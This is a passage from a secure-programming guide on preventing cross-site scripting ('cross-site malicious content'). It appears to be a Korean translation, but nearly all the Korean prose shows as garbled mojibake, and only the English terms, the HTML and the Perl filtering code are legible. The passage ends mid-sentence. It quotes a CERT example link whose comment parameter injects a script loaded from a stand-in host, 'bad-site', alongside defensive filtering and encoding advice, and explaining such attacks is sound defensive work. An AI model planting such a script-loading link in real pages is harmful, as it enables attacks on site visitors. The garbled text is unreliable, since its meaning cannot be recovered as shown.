6.13. ±³Â÷ »çÀÌÆ®ÀÇ ¾ÇÀÇÀÖ´Â ÄÁÅÙÆ®¸¦ ¿¹¹æÇضó

¾î¶² º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥Àº ½Å·ÚµÇÁö ¾ÊÀº »ç¿ëÀÚ (°ø°ÝÀÚ) ·ÎºÎÅÍ µ¥ÀÌŸ¸¦ ¹Þ¾Æ À̸¦ ´Ù¸¥ »ç¿ëÀÚ ¾ÖÇø®ÄÉÀÌ¼Ç (victim) ¿¡ °Ç³×ÁØ´Ù. º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ÀÌ victim À» º¸È£ÇÏÁö ¸øÇÑ´Ù¸é victim ÀÇ ¾ÖÇø®ÄÉÀÌ¼Ç (À¥ ºê¶ó¿ìÀú) Àº victim ¿¡ ÇØ¸¦ ³¢Ä¡´Â ¹æ½ÄÀ¸·Î ±× µ¥ÀÌŸ¸¦ ó¸®ÇÒ ¼öµµ ÀÖ´Ù. À̴ ƯÈ÷ HTML ¶Ç´Â XML À» »ç¿ëÇÏ´Â À¥ ¾ÖÇø®ÄÉÀ̼ǿ¡ ÀϹÝÀûÀÎ ¹®Á¦·Î ÀÌ´Â ``cross-site scripting", ``malicious HTML tags" ¹× ``malicious content" µî ¿©·¯ À̸§À¸·Î ºÒ¸®°í ÀÖ´Ù. ÀÌ ¹®Á¦°¡ ½ºÅ©¸³Æ® ¶Ç´Â HTML ¿¡ Á¦ÇѵǾî ÀÖÁö ¾Ê°í ±× ±âº»ÀûÀÎ º»ÁúÀÌ ±³Â÷ »çÀÌÆ®ÀûÀ̱⠶§¹®¿¡ ÀÌ Ã¥¿¡¼­´Â À̸¦ ``cross-site malicious content" ·Î ºÎ¸¦ °ÍÀÌ´Ù. ÀÌ ¹®Á¦°¡ À¥ ¾ÖÇø®ÄÉÀ̼ÇÀ¸·Î¸¸ ÇÑÁ¤µÇÁö ¾ÊÀ½À» ÁÖ¸ñÇØ¶ó ±×·¯³ª À¥ ¾ÖÇø®ÄÉÀ̼ǿ¡ ´ëÇÑ Æ¯º°ÇÑ ¹®Á¦À̱⠶§¹®¿¡ ÀÌ ³íÀÇÀÇ ³ª¸ÓÁö´Â À¥ ¾ÖÇø®ÄÉÀ̼ÇÀ» °­Á¶ÇÒ °ÍÀÌ´Ù. ¶§¶§·Î °ø°ÝÀÚ´Â victim À¸·Î ÇÏ¿©±Ý victim ¿¡¼­ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥À¸·Î µ¥ÀÌŸ¸¦ º¸³»µµ·Ï ÇÒ ¼ö ÀÖÀ¸¸ç µû¶ó¼­ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥Àº À̸¦ º¸È£ÇØ¾ß ÇÑ´Ù.

6.13.1. ¹®Á¦ ¼³¸í

°£´ÜÇÑ ¿¹·Î ½ÃÀÛÇÏÀÚ. ¾î¶² À¥ ¾ÖÇø®ÄÉÀ̼ÇÀº ³ªÁß¿¡ ´Ù¸¥ µ¶Àڵ鿡°Ô °øÇ¥µÉ µ¥ÀÌŸ ÀԷ¿¡ HTML ű׸¦ Çã¿ëÇϵµ·Ï ¼³°èµÇ¾î ÀÖ´Ù (°Ô½ºÆ®ºÏ ¶Ç´Â "reader comment"). À̸¦ ¸·±â À§ÇØ ¾Æ¹« °Íµµ ÇÏÁö ¾Ê´Â´Ù¸é ÀÌ·¯ÇÑ Å±״ ½ºÅ©¸³Æ®, ÀÚ¹Ù ÂüÁ¶ (¾ÇÀÇÀÖ´Â ¾ÖÇø´¿¡ ´ëÇÑ ÂüÁ¶¸¦ Æ÷ÇÔÇØ¼­), DHTML ű×, óÀ½ÀÇ ¹®¼­ ³¡Ç¥½Ã (</HTML>), ÆùÆ® Å©±â ¿äû µîÀ» ³¢¿ö³ÖÀ½À¸·Î½á ´Ù¸¥ »ç¿ëÀÚµéÀ» °ø°ÝÇϱâ À§ÇØ ¾ÇÀÇÀÖ´Â »ç¿ëÀÚ°¡ »ç¿ëÇÒ ¼ö ÀÖ´Ù. ÀÌ ´É·ÂÀº SSL ¾ÏȣȭµÈ ¿¬°á ³ëÃâ, Ŭ¶óÀÌ¾ðÆ®¸¦ ÅëÇÑ Á¦ÇÑµÈ À¥»çÀÌÆ® Á¢±Ù, µµ¸ÞÀο¡ ±âÃÊÇÑ º¸¾È Á¤Ã¥ À§¹Ý, À¥ÆäÀÌÁö¸¦ ÀÐÀ» ¼ö ¾ø°Ô ¸¸µé±â, À¥ÆäÀÌÁö¸¦ »ç¿ëÇϱ⿡ ºÒÄèÇÏ°Ô ¸¸µé±â (È­³ª°Ô ÇÏ´Â ¹è³Ê ¹× °ø°ÝÀûÀÎ material), ÇÁ¶óÀ̹ö½Ã ħÀÔ Çã¿ë (ƯÁ¤ ÆäÀÌÁö¸¦ ´©°¡ ÀдÂÁö Á¤È®È÷ ¾Ë¼ö ÀÖµµ·Ï ÇÏ´Â À¥¹ö±× »ðÀÔÀ» ÇÔÀ¸·Î½á), ¼­ºñ½º ºÎÀÎ °ø°Ý »ý¼º (¹«¼öÈ÷ ¸¹Àº À©µµ¿ì »ý¼ºÀ» ÅëÇØ) ¹× ¸Å¿ì ÆÄ±«ÀûÀÎ °ø°Ý (½ºÅ©¸³ÆÃ ¾ð¾î ¶Ç´Â ºê¶ó¿ìÀú¿¡ ¹öÆÛ ¿À¹öÇ÷οì¿Í °°Àº º¸¾È Ãë¾à¼ºÀ» »ðÀÔÇÔÀ¸·Î½á) µé°ú °°Àº ´Ù¾çÇÑ È¿°ú¸¦ À§ÇØ ¾Ç¿ëµÉ ¼ö ÀÖ´Ù. ¾ÇÀÇÀÖ´Â FORM ű׸¦ Àû¼Ò¿¡ »ðÀÔÇÔÀ¸·Î½á ħÀÔÀÚ´Â »ç¿ëÀÚ¸¦ ¼Ó¿© ±â¹ÐÀ» ´Ù·ç´Â Á¤º¸¸¦ µå·¯³»µµ·Ï ÇÒ ¼öµµ ÀÖ´Ù (±âÁ¸ ÆûÀÇ µ¿ÀÛÀ» ¼öÁ¤ÇÔÀ¸·Î½á). À̰ÍÀÌ ¹®Á¦ÀÇ ¿ÏÀüÇÑ ¸ñ·ÏÀº °áÄÚ ¾Æ´ÏÁö¸¸ À̰ÍÀÌ ½É°¢ÇÑ ¹®Á¦¸¦ ÃÊ·¡ÇÒ ¼ö ÀÖÀ½À» ±ú´Ý°Ô Çϴµ¥ ÃæºÐÇÏ´Ù.

´ëºÎºÐÀÇ ``³íÀÇ º¸µå (discussion board)" ´Â ÀÌ¹Ì ÀÌ ¹®Á¦¸¦ ¾Ë°í ÀÖÀ¸¸ç ´ëºÎºÐÀº ÀÌ¹Ì ´Ù¾çÇÑ »ç¶÷µéÀÇ ³íÀÇÀÇ ÀϺκÐÀ¸·Î ÅØ½ºÆ®È­µÇ¾î À̸¦ ¿¹¹æÇϱâ À§ÇÑ Á¶Ä¡¸¦ ÃëÇϰí ÀÖ´Ù. ºÒÇàÈ÷ ¸¹Àº À¥ ¾ÖÇø®ÄÉÀÌ¼Ç °³¹ßÀÚµéÀº À̰ÍÀÌ ´õ¿í ÀϹÝÀûÀÎ ¹®Á¦¶ó°í ±ú´ÝÁö ¸øÇϰí ÀÖ´Ù. ÇÑ »ç¿ëÀÚ¿¡¼­ ´Ù¸¥ »ç¿ëÀÚ·Î º¸³»Áö´Â ¸ðµç µ¥ÀÌŸ°ªÀº ÀÓÀÇÀÇ HTML ÀÌ ¿¹»óµÇ´Â ¸í¹éÇÑ °æ¿ì°¡ ¾Æ´Ï´õ¶óµµ ÀáÀçÀûÀ¸·Î cross-site malicious Æ÷½ºÆÃÀÇ ¼Ò½º°¡ µÉ ¼ö ÀÖ´Ù. »ç¿ëÀÚ´Â ´Ù¸¥ »çÀÌÆ®¸¦ ÅëÇØ µ¥ÀÌŸ¸¦ °ø±ÞÇϵµ·Ï ¼ÓÀ» ¼ö Àֱ⠶§¹®¿¡ ¾ÇÀÇÀÖ´Â µ¥ÀÌŸ´Â »ç¿ëÀÚ Àڽſ¡ ÀÇÇØ¼­µµ °ø±ÞµÉ ¼ö ÀÖ´Ù. ´ÙÀ½Àº ¾ÇÀÇÀÖ´Â µ¥ÀÌŸ¸¦ »ç¿ëÀÚ°¡ ´Ù¸¥ »çÀÌÆ®·Î Àü¼ÛÇϰԲû ÇÏ´Â HTML ¸µÅ©ÀÇ ¿¹ÀÌ´Ù (CERT ·ÎºÎÅÍ):

 <A HREF="http://example.com/comment.cgi?mycomment=<SCRIPT
 SRC='http://bad-site/badfile'></SCRIPT>"> Click here</A>

¿ä¾àÇϸé À¥ ¾ÖÇø®ÄÉÀ̼ÇÀº ÀÔ·Â (¸ðµç Æû µ¥ÀÌŸ¸¦ Æ÷ÇÔÇØ¼­) À» °Ë»ç, ÇÊÅ͸µ ¶Ç´Â ÀÎÄÚµùÇÑ ÈÄ ¹Þ¾Æµé¿©¾ß ÇÑ´Ù. ´Ù¸¥ »ç¿ëÀÚ°¡ ¸ô·¡ µ¥ÀÌŸ¸¦ Á¦°øÇÒ ¼öµµ Àֱ⠶§¹®¿¡ À¥ ¾ÖÇø®ÄÉÀ̼ÇÀÇ ¸¹Àº °æ¿ì µ¿ÀÏ »ç¿ëÀÚ¿¡°Ô ±× µ¥ÀÌŸ¸¦ µ¹·Áº¸³» Áö ¸øÇÒ ¼öµµ ÀÖ´Ù. ÀÌ·¯ÇÑ material À» Çã¿ëÇÏ´Â °ÍÀÌ ½Ã½ºÅÛ ¼Õ»óÀ» °¡Á®¿Ã ¼ö´Â ¾ø´Ù°í ÇÏ´õ¶óµµ ÀÌ´Â ½Ã½ºÅÛÀÌ ´Ù¸¥ »ç¿ëÀڵ鿡 ´ëÇÑ °ø°Ý ·çÆ®°¡ µÉ ¼ö ÀÖ°Ô²û ÇÒ °ÍÀÌ´Ù. ´õ¿í ³ª»Û °ÍÀº ÀÌ·¯ÇÑ °ø°ÝÀÌ ½Ã½ºÅÛ¿¡¼­ ³ª¿Â °Íó·³ º¸ÀÏ °ÍÀÌ´Ù.

CERT ´Â ±Ç°í¾ÈÀº ´ÙÀ½°ú °°ÀÌ ÀÌ ¹®Á¦¸¦ ±â¼úÇÑ´Ù:

À¥ »çÀÌÆ®°¡ ½Å·ÚÇÒ ¼ö ¾ø´Â Ãâó·ÎºÎÅÍÀÇ È®ÀεÇÁö ¾ÊÀº ÀԷ¿¡ ±âÃÊÇØ µ¿ÀûÀ¸·Î »ý¼ºµÈ ÆäÀÌÁö¿¡ ¾ÇÀÇÀÖ´Â HTML ÅÂ±× ¶Ç´Â ½ºÅ©¸³Æ®¸¦ ¹«½ÉÄÚ Æ÷ÇÔÇÒ ¼öµµ ÀÖ´Ù ((CERT Advisory CA-2000-02, Malicious HTML Tags Embedded in Client Web Requests).

6.13.2. ±³Â÷ »çÀÌÆ®ÀÇ ¾ÇÀÇÀÖ´Â ÄÁÅÙÆ®¿¡ ´ëÇÑ ÇØ°á¹æ¾È

±âº»ÀûÀ¸·Î ÀÌ´Â ¾î¶² »ç¿ëÀÚ°¡ ³¢¿ö³ÖÀº ¸ðµç À¥ ¾ÖÇø®ÄÉÀÌ¼Ç Ãâ·ÂÀº ÇÊÅ͸µ (ÀÌ ¹®Á¦¸¦ ¾ß±âÇÒ ¼ö ÀÖ´Â ¹®ÀÚ°¡ Á¦°ÅµÉ ¼ö ÀÖµµ·Ï), ÀÎÄÚµù (ÀÌ ¹®Á¦¸¦ ¾ß±âÇÒ ¼ö ÀÖ´Â ¹®ÀÚ°¡ ¹®Á¦¸¦ ¿¹¹æÇÏ´Â ¹æ½ÄÀ¸·Î ÀÎÄÚµåµÉ ¼ö ÀÖµµ·Ï) ¶Ç´Â À¯È¿È­ (¾ÈÀüÇÑ µ¥ÀÌŸ¸¸ÀÌ µµÂøÇÏ´Â °ÍÀ» º¸ÁõÇϱâ À§ÇØ) µÇ¾î¾ß ÇÔÀ» ÀǹÌÇÑ´Ù. ÀÌ´Â URL ¸Å°³º¯¼ö, Æû µ¥ÀÌŸ, ÄíŰ, µ¥ÀÌŸº£À̽º ÁúÀÇ, CORBA ORB °á°ú ¹× ÆÄÀϳ»¿¡ ÀúÀåµÈ »ç¿ëÀڷκÎÅÍÀÇ µ¥ÀÌŸ¿Í °°Àº ÀÔ·ÂÀ¸·ÎºÎÅÍ ÆÄ»ýµÈ ¸ðµç Ãâ·ÂÀ» Æ÷ÇÔÇÑ´Ù. ¸¹Àº °æ¿ì ÇÊÅ͸µ°ú À¯È¿È­´Â ÀԷ½à ÇàÇØÁ®¾ß ÇÏÁö¸¸ ÀÎÄÚµùÀº ÀÔ·Â À¯È¿È­ ¶Ç´Â Ãâ·Â »ý¼º µ¿¾È¿¡ ÇàÇØÁú ¼ö ÀÖ´Ù. ºÐ¼®¾øÀÌ µ¥ÀÌŸ¸¦ ´ÜÁö Åë°ú½ÃŰ·Á°í ÇÑ´Ù¸é ÀԷ½à µ¥ÀÌŸ¸¦ ÀÎÄÚµåÇÏ´Â °ÍÀÌ ´õ¿í ÁÁ´Ù (µû¶ó¼­ ÀØÁö ¾ÊÀ» °ÍÀÌ´Ù). ±×·¯³ª ÇÁ·Î±×·¥ÀÌ µ¥ÀÌŸ¸¦ ó¸®ÇÑ´Ù¸é Ãâ·Â½Ã µ¥ÀÌŸ¸¦ ÀÎÄÚµåÇÏ´Â °ÍÀÌ ´õ¿í ½¬¿ï °ÍÀÌ´Ù. CERT ´Â ÇÊÅ͸µ°ú ÀÎÄÚµùÀ» µ¥ÀÌŸ Ãâ·Âµ¿¾È¿¡ ÇàÇ϶ó°í ÃßõÇÑ´Ù; ÀÌ´Â ³ª»Û °³³äÀº ¾Æ´ÏÁö¸¸ ´ë½Å ÀԷ½à À̸¦ ÇÏ´Â °ÍÀÌ Àǹ̰¡ ÀÖ´Â °æ¿ì°¡ ¸¹ÀÌ ÀÖ´Ù. Áß¿äÇÑ ¹®Á¦´Â ¸ðµç Ãâ·Â¿¡ ´ëÇØ ¸ðµç °æ¿ì¸¦ ´Ù·ç´ÂÁö È®ÀÎÇÏ´Â °ÍÀÌ´Ù. ±×·¯³ª ÀÌ´Â Á¢±Ù ¹æ¹ý¿¡ »ó°ü¾øÀÌ ½¬¿î ÀÛ¾÷Àº ¾Æ´Ï´Ù.

°æ°í - ¸¹Àº °æ¿ì ÀÌ·¯ÇÑ ±â¹ýÀº Ãâ·ÂÀÇ ¹®ÀÚ ÀÎÄÚµù¿¡ ´ëÇØ Á¦¾î¸¦ ÇÏÁö ¸øÇÑ´Ù¸é ÆÄ±«µÉ ¼ö ÀÖ´Ù. ±×·¸Áö ¾Ê´Ù¸é °ø°ÝÀÚ°¡ ¿©±â¿¡ ³íÀÇµÈ ±â¹ýÀ» ÆÄ±«Çϱâ À§ÇØ ¿¹±âÄ¡ ¸øÇÑ ¹®ÀÚ ÀÎÄÚµùÀ» »ç¿ëÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù. °í¸¿°Ôµµ ÀÌ´Â ¾î·ÆÁö ¾Ê´Ù; Ãâ·Â ¹®ÀÚ ÀÎÄÚµù¿¡ ´ëÇØ Á¦¾î±ÇÀ» ¾ò´Â °ÍÀº 8.5Àý ¿¡ ³íÀǵǾî ÀÖ´Ù.

ù ÇϺÎÀýÀº ÇÊÅ͸µ, ÀÎÄÚµù ¹× À¯È¿È­µÉ Çʿ䰡 Àִ Ưº° ¹®ÀÚÀÇ ½Äº° ¹æ¹ýÀ» ³íÀÇÇÑ´Ù. ´ÙÀ½ ÀýÀº ÀÌ·¯ÇÑ ¹®ÀÚ¸¦ ÇÊÅ͸µ ¶Ç´Â ÀÎÄÚµùÇÏ´Â ¹æ¹ýÀ» ±â¼úÇÑ´Ù. ±×·¯³ª ÀϹÝÀûÀ¸·Î µ¥ÀÌŸ À¯È¿È­ ¹æ¹ýÀº ³íÀǵÇÁö ¾ÊÀ¸¸ç ÀϹÝÀûÀ¸·Î ÀÔ·Â À¯È¿È­¿¡ ´ëÇØ¼­´Â 4Àå À» º¸¶ó ÀÔ·ÂÀÌ HTML ÅØ½ºÆ® ¶Ç´Â URI ¶ó¸é 4.10Àý À» º¸¶ó. ¶ÇÇÑ À¥ ¾ÖÇø®ÄÉÀ̼ÇÀÌ ¾ÇÀÇÀÖ´Â cross-postings ¸¦ ¹ÞÀ» ¼ö ÀÖÀ½À» ÁÖ¸ñÇØ¶ó. µû¶ó¼­ ºñÁúÀǵµ GET ÇÁ·ÎÅäÄÝÀ» ±ÝÁöÇØ¾ß ÇÑ´Ù.

6.13.2.1. Ưº° ¹®ÀÚ ½Äº°

´ÙÀ½Àº ´Ù¾çÇÑ È¯°æ¿¡ ´ëÇÑ Æ¯º° ¹®ÀÚµéÀÌ´Ù (ÀÌ ¸ñ·ÏÀ» ÀÛ¼ºÇÑ CERT ¿¡ °¨»çµå¸°´Ù):

  • ºí·Ï ¼öÁØ ¿ä¼ÒÀÇ ÄÁÅÙÆ®³»¿¡¼­ (¿¹, HTML ÀÇ ÅØ½ºÆ® ´Ü¶ôÀÇ Áß°£¿¡¼­ ¶Ç´Â XML ÀÇ ºí·Ï¿¡¼­)

    • "<" ´Â ű׸¦ µµÀÔÇϱ⠶§¹®¿¡ Ưº°ÇÏ´Ù

    • "&" ´Â ¹®ÀÚ ¿£Æ¼Æ¼¸¦ µµÀÔÇϱ⠶§¹®¿¡ Ưº°ÇÏ´Ù

    • ">" ´Â ÆäÀÌÁö ÀÛ¼ºÀÚ°¡ ½ÇÁ¦·Î ½ÃÀÛ¿¡ "<" ¸¦ ³õ´Â´Ù°í ÀǹÌÇßÁö¸¸ À̸¦ ¿¡·¯·Î »ý·«Çß´Ù´Â °¡Á¤ÇÏ¿¡ ¾î¶² ºê¶ó¿ìÀú°¡ À̸¦ Ưº°ÇÏ°Ô ´Ù·ç±â ¶§¹®¿¡ Ưº°ÇÏ´Ù

  • ¼Ó¼º°ª¿¡¼­

    • ÀÌÁß ÀÎ¿ë ºÎÈ£·Î µÑ·¯½ÎÀÎ ¼Ó¼º°ª¿¡¼­ ÀÌÁß ÀÎ¿ë ºÎÈ£´Â ¼Ó¼º°ªÀÇ ³¡À» Ç¥½ÃÇϱ⠶§¹®¿¡ ÀǺ°ÇÏ´Ù

    • ´ÜÀÏ ÀÎ¿ë ºÎÈ£·Î µÑ·¯½ÎÀÎ ¼Ó¼º°ª¿¡¼­ ´ÜÀÏ ÀÎ¿ë ºÎÈ£´Â ¼Ó¼º°ªÀÇ ³¡À» Ç¥½ÃÇϱ⠶§¹®¿¡ Ưº°ÇÏ´Ù. XML ¿¡¼­´Â ÇÕ¹ýÀûÀÌ ¾Æ´ÔÀ» ÁÖ¸ñÇØ¶ó ÀúÀÚ´Â ÀÌÀÇ »ç¿ëÀ» ÃßÀüÇÏÁö ¾Ê´Â´Ù.

    • ¾î¶°ÇÑ ÀοëºÎÈ£µµ ¾ø´Â ¼Ó¼º°ªÀº °ø¹é ¹× Åǰú °°Àº white-space ¹®ÀÚ¸¦ Ưº°ÇÏ°Ô ¸¸µç´Ù. XML ¿¡¼­´Â ÇÕ¹ýÀûÀÌÁö ¾ÊÀ¸¸ç ÀÌ´Â ´õ¿í ¸¹Àº ¹®ÀÚ¸¦ Ưº°ÇÏ°Ô ¸¸µëÀ» ÁÖ¸ñÇØ¶ó. µû¶ó¼­ µ¿ÀûÀ¸·Î »ý¼ºµÈ ¼Ó¼º°ªÀ» »ç¿ëÇÑ´Ù¸é ÀÎ¿ë ºÎÈ£°¡ ¾ø´Â ¼Ó¼ºÀ» »ç¿ëÇÏÁö ¾Ê±â¸¦ ÃßõÇÑ´Ù.

    • "&" ´Â ¾î¶² ¼Ó¼º°ú ÇÔ²² »ç¿ëµÉ ¶§ ¹®ÀÚ ¿£Æ¼Æ¼¸¦ µµÀÔÇϱ⠶§¹®¿¡ Ưº°ÇÏ´Ù.

  • URL ¿¡¼­ ¿¹¸¦ µé¾î °Ë»ö ¿£ÁøÀÌ °Ë»öÀ» Àç½ÇÇàÇϵµ·Ï °á°ú ÆäÀÌÁö³»¿¡ »ç¿ëÀÚ°¡ Ŭ¸¯ÇÒ ¼ö ÀÖ´Â ¸µÅ©¸¦ Á¦°øÇÒ ¼öµµ ÀÖ´Ù. ÀÌ´Â URL ³»ÀÇ °Ë»ö ÁúÀǸ¦ ÀÎÄÚµùÇÔÀ¸·Î½á ±¸ÇöµÉ ¼ö ÀÖ´Ù. À̰¡ ÇàÇØÁú¶§ Ãß°¡ÀûÀΠƯº° ¹®ÀÚ¸¦ µµÀÔÇÑ´Ù:

    • °ø¹é, Åǰú °³ÇàÀº URL ÀÇ ³¡À» Ç¥½ÃÇϱ⠶§¹®¿¡ Ưº°ÇÏ´Ù.

    • "&" ´Â ¹®ÀÚ ¿£Æ¼Æ¼ ¶Ç´Â º°µµÀÇ CGI ¸Å°³º¯¼ö¸¦ µµÀÔÇϱ⠶§¹®¿¡ Ưº°ÇÏ´Ù.

    • ¾Æ½ºÅ°°¡ ¾Æ´Ñ ¹®ÀÚ (Áï, ISO-8859-1 ÀÎÄÚµù¿¡¼­ 128 º¸´Ù Å« ¹®ÀÚ) ´Â URL ¿¡¼­ Çã¿ëµÇÁö ¾ÊÀ¸¸ç µû¶ó¼­ ¸ðµÎ Ưº°ÇÏ´Ù.

    • "%" ´Â HTTP À̽ºÄÉÀÌÇÁ ½ÃÄö½º·Î ÀÎÄÚµåµÈ ¸Å°³º¯¼ö°¡ ¼­¹öÃø Äڵ忡 ÀÇÇØ µðÄÚµåµÇ´Â ¸ðµç °÷¿¡¼­ÀÇ ÀÔ·ÂÀ¸·ÎºÎÅÍ ÇÊÅ͸µµÇ¾î¾ß ÇÑ´Ù. "%68%65%6C%6C%6F" ¿Í °°Àº ÀÔ·ÂÀÌ ¿äûµÈ À¥ ÆäÀÌÁö¿¡ ³ªÅ¸³¯ ¶§ "hello" °¡ µÈ´Ù¸é % ´Â ÇÊÅ͸µµÇ¾î¾ß ÇÑ´Ù.

  • <SCRIPT></SCRIPT> ¸öü³»¿¡¼­ ¼¼¹ÌÄÝ·Ð, °ýÈ£, curly braces ¿Í °³ÇàÀº ÅØ½ºÆ®°¡ ±âÁ¸ ½ºÅ©¸³Æ® ű׳»¿¡ Á÷Á¢ »ðÀ﵃ ¼ö ÀÖ´Â »óȲ¿¡¼­ ÇÊÅ͸µµÇ¾î¾ß ÇÑ´Ù.

  • ÀԷ½ÃÀÇ ¸ðµç °¨Åº ¹®ÀÚ (!) ¸¦ Ãâ·Â½Ã ÀÌÁß ÀÎ¿ë ºÎÈ£·Î º¯È¯ÇÏ´Â ¼­¹öÃø ½ºÅ©¸³Æ®´Â Ãß°¡ÀûÀÎ ÇÊÅ͸µÀÌ ¿ä±¸µÉ ¼öµµ ÀÖ´Ù.

ÀϹÝÀûÀ¸·Î & ´Â HTML °ú XML ¿¡¼­ Ưº°ÇÔÀ» ÁÖ¸ñÇØ¶ó.

6.13.2.2. ÇÊÅ͸µ

ÀÌ·¯ÇÑ Æ¯º° ¹®ÀÚ¸¦ ´Ù·ç´Â ÇѰ¡Áö Á¢±Ù ¹æ¹ýÀº ´Ü¼øÈ÷ À̸¦ Á¦°ÅÇÏ´Â °ÍÀÌ´Ù (º¸Åë ÀÔ·Â ¶Ç´Â Ãâ·Â µ¿¾È¿¡)

À¯È¿ÇÑ ¹®ÀÚ¿¡ ´ëÇØ ÀÔ·ÂÀ» ÀÌ¹Ì À¯È¿È­ÇÏ¿´´Ù¸é (ÀϹÝÀûÀ¸·Î ÀÌ·¸°Ô ÇØ¾ß ÇÑ´Ù) ÀÌ´Â ´Ü¼øÈ÷ À¯È¿ ¹®ÀÚ ¸ñ·Ï¿¡¼­ Ưº° ¹®ÀÚ¸¦ ´Ü¼øÈ÷ »ý·«ÇÔÀ¸·Î½á ½±°Ô ÇàÇØÁø´Ù. ´ÙÀ½Àº ÇÕ¹ýÀûÀÎ ¹®ÀÚ¸¸ ¹Þ¾Æµé¿© ÇÊÅ͸µÇÏ´Â ÆÞ ÇÁ·Î±×·¥À¸·Î ÇÊÅͰ¡ °ø¹éÀÌ¿ÜÀÇ ¾î¶°ÇÑ Æ¯º° ¹®ÀÚµµ ¹Þ¾ÆµéÀÌÁö ¾Ê±â ¶§¹®¿¡ ÀοëµÈ ¼Ó¼º°ú °°Àº ºÎ¹®¿¡ ²Ï À¯¿ëÇÏ°Ô »ç¿ëµÉ ¼ö ÀÖ´Ù:

 # ´ÜÁö ÇÕ¹ýÀûÀÎ ¹®Àڵ鸸 ¹Þ¾ÆµéÀδÙ:
 $summary =~ tr/A-Za-z0-9\ \.\://dc;

±×·¯³ª ½ÇÁ¦ °¡Àå ÀûÀº ¼öÀÇ ¹®ÀÚ¸¸À» Á¦°ÅÇÏ±æ ¿øÇÑ´Ù¸é ´ÜÁö ÀÌ·¯ÇÑ ¹®Àڵ鸸À» Á¦°ÅÇϱâ À§ÇÑ ¼­ºê·çƾÀ» »ý¼ºÇÒ ¼ö ÀÖ´Ù.

 sub remove_special_chars {
  local($s) = @_;
  $s =~ s/[\<\>\"\'\%\;\(\)\&\+]//g;
  return $s;
 }
 # Sample use:
 $data = &remove_special_chars($data);

6.13.2.3. ÀÎÄÚµù

Ưº° ¹®ÀÚ¸¦ Á¦°ÅÇϱâ À§ÇÑ ´ë¾ÈÀº ¾î¶°ÇÑ Æ¯º°ÇÑ Àǹ̵µ °®Áö ¾Êµµ·Ï À̵éÀ» ÀÎÄÚµùÇÏ´Â °ÍÀÌ´Ù. ÀÌ´Â ¹®ÀÚ¸¦ ÇÊÅ͸µÇÏ´Â °Í¿¡ ´ëÇØ ÀåÁ¡À» °®´Âµ¥ ƯÈ÷ µ¥ÀÌŸ ¼Õ½ÇÀ» ¿¹¹æÇÑ´Ù´Â °ÍÀÌ´Ù. µ¥ÀÌŸ°¡ »ç¿ëÀÚ °üÁ¡¿¡¼­ º¸¾ÒÀ» ¶§ 󸮿¡ ÀÇÇØ ¾û¸ÁÀ¸·Î µÇ¸é Àû¾îµµ ÀÎÄÚµùÀ» ÀÌ¿ëÇØ ¿ø·¡ º¸³»Á³´ø µ¥ÀÌŸ¸¦ À籸ÃàÇÏ´Â °ÍÀÌ °¡´ÉÇÏ´Ù.

HTML, XML °ú SGML Àº ¸ðµÎ ·¯´× ÅØ½ºÆ®¿¡ ÀÎÄÚµùÀ» µµÀÔÇϱâ À§ÇÑ ¹æ½ÄÀ¸·Î & ¸¦ »ç¿ëÇÑ´Ù; ÀÌ·¯ÇÑ ÀÎÄÚµùÀ» HTML ÀÎÄÚµùÀ̶ó°í ºÎ¸¥´Ù. ÀÌ·¯ÇÑ ¹®ÀÚ¸¦ ÀÎÄÚµåÇϱâ À§Çؼ­´Â ´Ü¼øÈ÷ »óȲ¿¡ ¸Â°Ô Ưº° ¹®ÀÚ¸¦ º¯È¯Çضó. º¸Åë ÀÌ´Â '<', '>', '&' ¿Í '"" °¡ °¢°¢ '&lt;', '&gt;', '&amp;' ¿Í '&quot;' ·Î º¯È¯µÈ´Ù. À§¿¡ ¾ð±ÞÇßµíÀÌ À̷лó '>' °¡ ÀοëµÉ Çʿ䰡 ¾øÀ½¿¡µµ ºÒ±¸ÇÏ°í ¾î¶² ºê¶ó¿ìÀú°¡ À̸¦ µû¸£±â ¶§¹®¿¡ ('<' À» ä¿ì±â ¶§¹®¿¡) ÀοëµÉ Çʿ䰡 ÀÖ´Ù. ÀÌÁß ÀÎ¿ë ºÎÈ£¿Í °ü·ÃÇØ¼­´Â ¾à°£ÀÇ »ç¼ÒÇÑ º¹À⼺ÀÌ ÀÖ´Ù. '&quot;' ´Â ¼Ó¼º³»¿¡¼­¸¸ »ç¿ëµÉ Çʿ䰡 ÀÖ°í ¾î¶² ¿À·¡µÈ ºê¶ó¿ìÀú´Â À̸¦ ÀûÀýÈ÷ ÇÏÁö ¸øÇϱ⠶§¹®ÀÌ´Ù. Ãß°¡ÀûÀÎ º¹À⼺À» ´Ù·ê ¼ö ÀÖ´Ù¸é ´ÜÁö ÇÊ¿äÇÒ ¶§¸¸ '"' ¸¦ ÀÎÄÚµåÇÏ·Á°í ÇÒ ¼ö ÀÖÁö¸¸ ´Ü¼øÈ÷ À̸¦ ÀÎÄÚµåÇÏ°í »ç¿ëÀÚ¿¡°Ô ±×µéÀÇ ºê¶ó¿ìÀú¸¦ °»½ÅÇ϶ó°í ¿äûÇÏ´Â °ÍÀÌ ´õ¿í ½±´Ù.

HTML ÀÎÄÚµù¿¡ ´ëÇÑ ÀÌ Á¢±Ù ¹æ¹ýÀº ¾î¶² »óȲ¿¡¼­ ÃæºÐÇÑ ÀÎÄÚµùÀÌ ¾Æ´Ï´Ù. 8.5Àý ¿¡¼­ ³íÀǵǵíÀÌ Ãâ·Â ¹®ÀÚ ÀÎÄÚµù ("charset") À» ÁöÁ¤ÇÒ Çʿ䰡 ÀÖ´Ù. µ¥ÀÌŸ ÀϺΰ¡ Ãâ·Â ¹®ÀÚ ÀÎÄÚµù¿ÜÀÇ ´Ù¸¥ ¹®ÀÚ ÀÎÄÚµùÀ» ÀÌ¿ëÇØ ÀÎÄÚµåµÈ´Ù¸é Ãâ·ÂÀÌ Àϰü¼ºÀÖ°í Á¤È®ÇÑ ÀÎÄÚµùÀ» »ç¿ëÇϵµ·Ï ¹«¾ð°¡¸¦ ÇØ¾ßÇÒ °ÍÀÌ´Ù. ¶ÇÇÑ ISO-8859-1 ¿ÜÀÇ Ãâ·Â ÀÎÄÚµùÀ» ¼±ÅÃÇß´Ù¸é "<" ¿Í °°Àº Ưº° ¹®ÀÚ¿¡ ´ëÇÑ ¸ðµç ´ë¾È ÀÎÄÚµùÀÌ 